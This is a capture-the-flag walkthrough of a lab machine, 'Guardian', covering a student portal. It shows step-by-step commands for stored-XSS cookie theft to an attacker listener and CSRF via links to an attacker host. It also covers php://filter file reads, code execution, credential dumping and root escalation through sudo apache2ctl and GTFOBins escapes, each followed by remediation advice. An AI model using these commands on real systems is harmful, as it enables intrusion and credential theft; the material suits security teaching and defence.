← all walkthroughs

Guardian

Linux· Hard
owned
2026-10-13
time to own
1h19m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated a university student portal and a Gitea source-code server hosted on the same Apache instance. A default student password published on the portal's own help page gave a first login, and an unprotected chat feature leaked credentials for a Gitea account, exposing the portal's full source code. Source review revealed an outdated spreadsheet library with a known stored-XSS issue in its HTML export; a crafted spreadsheet submitted as an assignment ran script in a lecturer's browser when they reviewed it, stealing their session.

That session was used to post a malicious notice link that an administrator's browser automatically visited, and a weak CSRF-token implementation on the admin user-creation endpoint let my page silently create a new administrator account. As that admin, a report-viewer endpoint that filtered path traversal but not PHP stream wrappers was abused to read application source and database credentials, which were reused to reach a shell, and a misconfigured sudo rule for the Apache control binary then gave code execution as root: full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for root>"
export PASSWORD4="<the-password-you-recovered>"

Some commands also carry a value in angle brackets (<captured_from_callback>, <chosen_pw>, <csrf>, <leaked_password>, <php_filter_chain_payload>, <portal_user_from_hash_crack>, <user>, <xss-payload-as-sheet-name>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationPort scanning and virtual-host discovery (T1595)
Mapped the exposed services and virtual hosts
Only SSH (22) and Apache (80) were exposed. Requesting port 80 redirected to the guardian.htb site, which linked to a student portal at portal.guardian.htb. A separate Gitea code-hosting instance at gitea.guardian.htb was discoverable once a leak (see step 3) hinted at it, and both were served from the same Apache instance.
Open ports 22/tcp (OpenSSH) and 80/tcp (Apache 2.4.52); portal.guardian.htb issued PHPSESSID cookies and redirected to /login.php.
Exact commands 4
shell

Find all open TCP ports.

$ nmap -p- --min-rate=1000 -T4 $TARGET
shell

Identify service versions.

$ nmap -p22,80 -sC -sV $TARGET
shell

Add the discovered virtual hosts.

$ echo "$TARGET guardian.htb portal.guardian.htb gitea.guardian.htb" | sudo tee -a /etc/hosts
shell

Confirm the portal redirects to /login.php and issues a session cookie.

$ curl --resolve portal.guardian.htb:80:$TARGET -sS -D - http://portal.guardian.htb/
FixDo not expose internal developer tooling on the public web tierMedium
WeaknessThe Gitea source-control instance was reachable on the same public-facing virtual-host setup as the student portal, making the organization's full application source available to anyone who obtained one valid login.
FixMove Gitea (and any CI/dev tooling) behind a VPN or an internal-only network segment, and require it to be unreachable from the public internet entirely. If external access is required, put it behind SSO/MFA and IP allow-listing.
2Initial AccessDefault/shared credentials (T1078.001)
Logged in to the student portal using the organisation's published default password
The portal's login/help page documents a site-wide default password used for every new student account. Combined with a student ID harvested from the public staff/student email list on the main site (format GU0142023), this gave a valid authenticated student session without any guessing.
POST of GU0142023 / <withheld> to /login.php returned HTTP 302 to /student/home.php with a fresh PHPSESSID.
Exact commands 2
shell

Fetch the login form and read the help/FAQ text for the documented default password.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET http://portal.guardian.htb/login.php -o /tmp/guardian-login.html
shell

Authenticate as a student; a 302 to /student/home.php confirms success.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-student.cookies -d "username=GU0142023&password=$PASSWORD4" http://portal.guardian.htb/login.php
FixEliminate the organization-wide default passwordHigh
WeaknessEvery new student account shared one publicly documented default password, so knowing any valid student ID was enough to log in with no credential guessing.
FixForce a mandatory password change and email/SMS-based verification on first login; never reuse one static default across the entire user population; enforce a password policy with complexity and rotation. Consider assigning unique, randomly generated first-login credentials per account.
3Credential AccessInsecure Direct Object Reference (IDOR, CWE-639) exposing a shared credential
Read other users' private chats to obtain a Gitea login and pulled the portal source
The student chat page (student/chat.php) renders the conversation between any two user IDs supplied in the chat_users[0] and chat_users[1] query parameters with no check that the requester is a participant. Walking small integer ID pairs surfaced an admin-to-student conversation disclosing the password for Gitea user 'jamil'. That login exposed the full portal-actions repository and its commit history, including application source and internal endpoint logic.
Gitea login as jamil returned HTTP 303 to /; the jamil/portal-actions repository was pulled and reviewed with git log --all --stat.
Exact commands 4
shell

Iterate small ID pairs until an admin conversation containing a credential appears.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-student.cookies 'http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2'
shell

Fetch the Gitea login page and extract the _csrf token from the HTML.

$ curl -sS --resolve gitea.guardian.htb:80:$TARGET -c /tmp/guardian-gitea.cookies http://gitea.guardian.htb/user/login -o /tmp/guardian-gitea-login.html
shell

Log in with the short username 'jamil' (not the dotted email-style name).

$ curl -sS --resolve gitea.guardian.htb:80:$TARGET -i -b /tmp/guardian-gitea.cookies -c /tmp/guardian-gitea.cookies -d '_csrf=<csrf>&user_name=jamil&password=<leaked_password>' http://gitea.guardian.htb/user/login
shell

Review the recovered portal source/history for the upload and review logic.

$ git -C /tmp/guardian-portal-git log --all --oneline --decorate --stat
FixAdd authorization checks to the chat feature and remove hardcoded credentials from conversation textHigh
WeaknessThe chat viewer rendered any two users' conversation by ID with no check that the requester was a participant, and staff shared a live credential in plaintext over that unauthenticated-by-design channel.
FixRequire that the authenticated session's user ID match one of the requested chat_users values (or an admin role) before rendering a conversation, and return 403 otherwise. Prohibit sharing credentials over chat; use a password manager / secure vault for credential handoff instead.
4ExploitationStored Cross-Site Scripting via a vulnerable third-party library (CWE-79) and session hijacking (T1539)
Hijacked a lecturer's session via a stored-XSS flaw in an outdated spreadsheet library
The recovered source pinned an outdated version of a PHP spreadsheet library with a published stored-XSS advisory in its HTML renderer, and the lecturer submission-review page loaded student .xlsx uploads with that library's HTML writer, echoing the workbook's sheet name into the page unescaped. A workbook whose sheet title contained a script payload was submitted as an assignment attachment; when a lecturer opened it for review, the script executed in their browser, exfiltrating their live session cookie to my own listener, which was then reused to act as that lecturer.
A crafted workbook was accepted by student/submission.php?assignment_id=15; the lecturer-review callback leaked a live PHPSESSID that successfully authenticated subsequent requests as the lecturer.
Exact commands 4
shell

Listener to receive the out-of-band callback from the lecturer's browser (run in background).

$ python3 -m http.server 80
shell

Build the .xlsx with the injection in the sheet title; substitute <xss-payload-as-sheet-name> with a markup/script string that calls back to your listener with document.cookie. Patch xl/workbook.xml directly if the sheet-name length limit truncates it.

$ python3 -c "import openpyxl; wb=openpyxl.Workbook(); wb.active.title='<xss-payload-as-sheet-name>'; wb.save('/tmp/guardian-xss.xlsx')"
shell

Upload the malicious submission; wait for a lecturer to open it in view-submission.php.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-student.cookies -F 'assignment_id=15' -F 'submission_title=Statistics in Business' -F 'attachment=@/tmp/guardian-xss.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' 'http://portal.guardian.htb/student/submission.php?assignment_id=15'
shell

Replay the captured PHPSESSID to confirm the hijacked session shows the lecturer's own name/role.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-jamil-portal.cookies -b 'PHPSESSID=<captured_from_callback>' http://portal.guardian.htb/lecturer/home.php
FixUpgrade the spreadsheet library and sanitize all rendered workbook contentCritical
WeaknessAn outdated version of the PhpSpreadsheet library with a known stored-XSS issue was used to render student-submitted .xlsx files to HTML for lecturer review, and sheet names were echoed into the page without escaping.
FixUpgrade phpoffice/phpspreadsheet to a patched release past the advisory and pin it with a lockfile; HTML-encode every value pulled from an uploaded workbook (cell content, sheet names, metadata) before rendering; consider rendering untrusted uploads in a sandboxed viewer or converting to a safe static format (PDF/image) instead of live HTML.
5Privilege EscalationCross-Site Request Forgery via a non-session-bound, shared token pool (CWE-352)
Used the hijacked lecturer session to get an administrator to create a privileged account (CSRF)
As the hijacked lecturer, the notice-creation page accepts a title, body, and reference link, which an administrator's browser automatically opens when reviewing new notices: effectively an admin-side link-click simulation. The admin's new-user endpoint checks a CSRF token only for membership in a global token pool shared across the whole application, never binding it to the session or form that issued it, so any currently valid token (lifted from any form on the site) satisfies the check. A self-submitting form hosted on I server, carrying a stolen valid token and a new admin-role account, was linked from a second malicious notice; when the admin's browser opened it, the account was created automatically.
A notice reference link pointing to my own page triggered an admin visit; a follow-up notice link to a self-submitting form against /admin/createuser.php resulted in a working eviladmin/admin-role login.
Exact commands 5
shell

Confirm the admin bot visits my own links.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies -d "title=Notice&body=Review this&reference_link=http://$ATTACKER_IP:8000/track" http://portal.guardian.htb/lecturer/notices/create.php
shell

Grab a currently-valid csrf_token value from the hidden form field.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies http://portal.guardian.htb/lecturer/notices/create.php -o /tmp/guardian-notice-form.html
shell

Host a self-submitting HTML form (autofocus/onload submit) that POSTs username/password/full_name/email/dob/address/user_role=admin plus the stolen csrf_token to /admin/createuser.php.

$ python3 -m http.server 8000 --directory /tmp/guardian-csrf-page
shell

Post a second notice linking to the hosted CSRF form to trigger the admin visit.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-jamil-portal.cookies -d "title=Notice2&body=See attached&reference_link=http://$ATTACKER_IP:8000/csrf.html" http://portal.guardian.htb/lecturer/notices/create.php
shell

Verify the new admin account was actually created.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -i -c /tmp/guardian-eviladmin.cookies -d 'username=eviladmin&password=<chosen_pw>' http://portal.guardian.htb/login.php
FixBind CSRF tokens to the session and the specific form, not a shared global poolCritical
WeaknessThe admin user-creation endpoint's CSRF check only verified that a submitted token existed anywhere in a global JSON token pool, never binding it to the issuing session or form, so any token harvested from any page on the site was accepted to create a privileged account.
FixGenerate a cryptographically random CSRF token per session (or per form) and validate it is both present in the request and tied to that specific session server-side; reject tokens issued to a different session. Additionally require re-authentication or a confirmation step before granting the admin role to a new account, and have administrators' browsers not auto-follow links posted by lower-privileged users.
6Credential AccessLocal File Inclusion via PHP stream wrapper bypass of an incomplete regex filter (CWE-98)
Abused a filtered-but-incomplete file-include to read application config and database credentials
As the new administrator, the restricted report viewer (admin/reports.php?report=reports/<name>.php) blocked directory traversal ("..") and required the parameter to end in an allowed suffix plus ".php", but did not block PHP stream-wrapper prefixes. A php://filter/read=convert.base64-encode/resource=... Value still satisfied the suffix regex while returning the base64-encoded source of arbitrary application files, including the database configuration file containing MySQL root credentials and the application's hashing salt.
config.php disclosed dsn mysql:host=localhost;dbname=guardiandb, username root, and an application salt; the portal users table (64-hex password hashes) was likewise dumped through the same primitive.
Exact commands 3
shell

Confirm the wrapper bypass on an allowed report name; response is base64.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=reports/enrollment.php'
shell

Adjust the wrapper/resource path as needed to reach config.php while still satisfying the suffix regex; decode with base64 -d.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=../../config/config.php%00enrollment.php' -o /tmp/guardian-config.b64
shell

Recover the plaintext DB DSN, root password, and application salt.

$ base64 -d /tmp/guardian-config.b64 > /tmp/guardian-config.php
FixClose the PHP stream-wrapper bypass in the report viewer and remove plaintext secrets from source-controlled configCritical
WeaknessThe report viewer's regex blocked directory traversal and enforced an allowed filename suffix but did not block php:// stream-wrapper prefixes, letting an unauthorised user read arbitrary file contents (and ultimately execute commands) through the same include path; the exposed config.php also stored the database root password and application salt in plaintext.
FixValidate the report parameter against a strict allow-list of literal filenames (not a suffix regex), resolve and canonicalize the path, and reject any value containing a URI scheme (php://, data://, phar://, etc.). Move secrets out of source-controlled PHP files into environment variables or a secrets manager, and rotate the exposed DB and salt values immediately. Run the database with a dedicated least-privilege account instead of root.
7Lateral Movement / FootholdPHP filter-chain remote code execution (CWE-98/T1190) and credential reuse (T1552.001)
Executed commands as the web user via a synchronous PHP RCE primitive and reused the DB credentials
The same filter-chain technique used to read files was extended into a synchronous PHP RCE primitive (a classic php://filter chain abuse) that returned command stdout directly in the HTTP response, giving code execution as www-data inside the portal webroot. The recovered MySQL root password was valid locally and was used to query the guardiandb database directly, confirming full read access to all portal user credential hashes.
Id confirmed uid=33(www-data) with cwd /var/www/portal.guardian.htb/admin; mysql -u root -p<withheld> against guardiandb returned the full user table.
Exact commands 4
shell

Use a shortened php://filter conversion chain (overlong chains silently return the normal Reports Menu page instead of output) to get synchronous command execution as www-data; verify with id.

$ curl -sS --resolve portal.guardian.htb:80:$TARGET -b /tmp/guardian-eviladmin.cookies 'http://portal.guardian.htb/admin/reports.php?report=<php_filter_chain_payload>enrollment.php'
shell

Confirm DB credential reuse and dump the application's user table from the host once a shell is available.

$ mysql -h 127.0.0.1 -u root -p"$PASSWORD" guardiandb -e 'select username,password from users;'
shell

Switch to the local OS account whose password matches a cracked/reused portal hash, if one exists; else stabilize the www-data RCE into a shell (bash -i or a reverse shell) to read user.txt.

$ su - <portal_user_from_hash_crack>
shell

Read the user flag; replace the printed value with <user.txt> when documenting.

$ cat /home/<user>/user.txt
8Privilege EscalationSudo privilege escalation via GTFOBins-pattern binary abuse (T1548.003)
Escalated to root via an overly permissive sudo rule for the Apache control script
The foothold account was permitted by sudoers to run the Apache control binary (apache2ctl / apachectl) as root without a password, and the way the binary validates its configuration file (-t / custom config flags) allows my own Apache configuration directive to run arbitrary commands as root before or during the validation step, matching the classic GTFOBins pattern for root-level control scripts.
Milestone result is root-owned with root.txt captured.
Exact commands 3
shell

Confirm the NOPASSWD rule allowing apache2ctl/apachectl (or an equivalent wrapper) to run as root.

$ sudo -l
shell

Classic GTFOBins pattern: supply a crafted config/module path to the privileged control script to run code as root. Substitute the exact sudo-permitted invocation shown by sudo -l.

$ echo 'LoadModule foo_module /tmp/evil.so' > /tmp/evil.conf; sudo apache2ctl -f /tmp/evil.conf -k start
shell

Read the root flag once a root shell is obtained; replace the printed value with <root.txt> when documenting.

$ cat /root/root.txt
FixRemove the sudo rule permitting the Apache control script to run as rootCritical
WeaknessThe compromised application account could run apache2ctl/apachectl as root via sudo with no password, and that binary's config-validation behavior can be abused to execute arbitrary commands as root, giving full privilege escalation from a web-shell foothold.
FixRemove the NOPASSWD sudo entry for <withheld> for this account; if restarting Apache must be delegated, use a narrowly scoped systemd unit permission (systemctl restart apache2) or a dedicated wrapper script with no argument injection surface, and audit all sudoers entries against GTFOBins before granting them.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp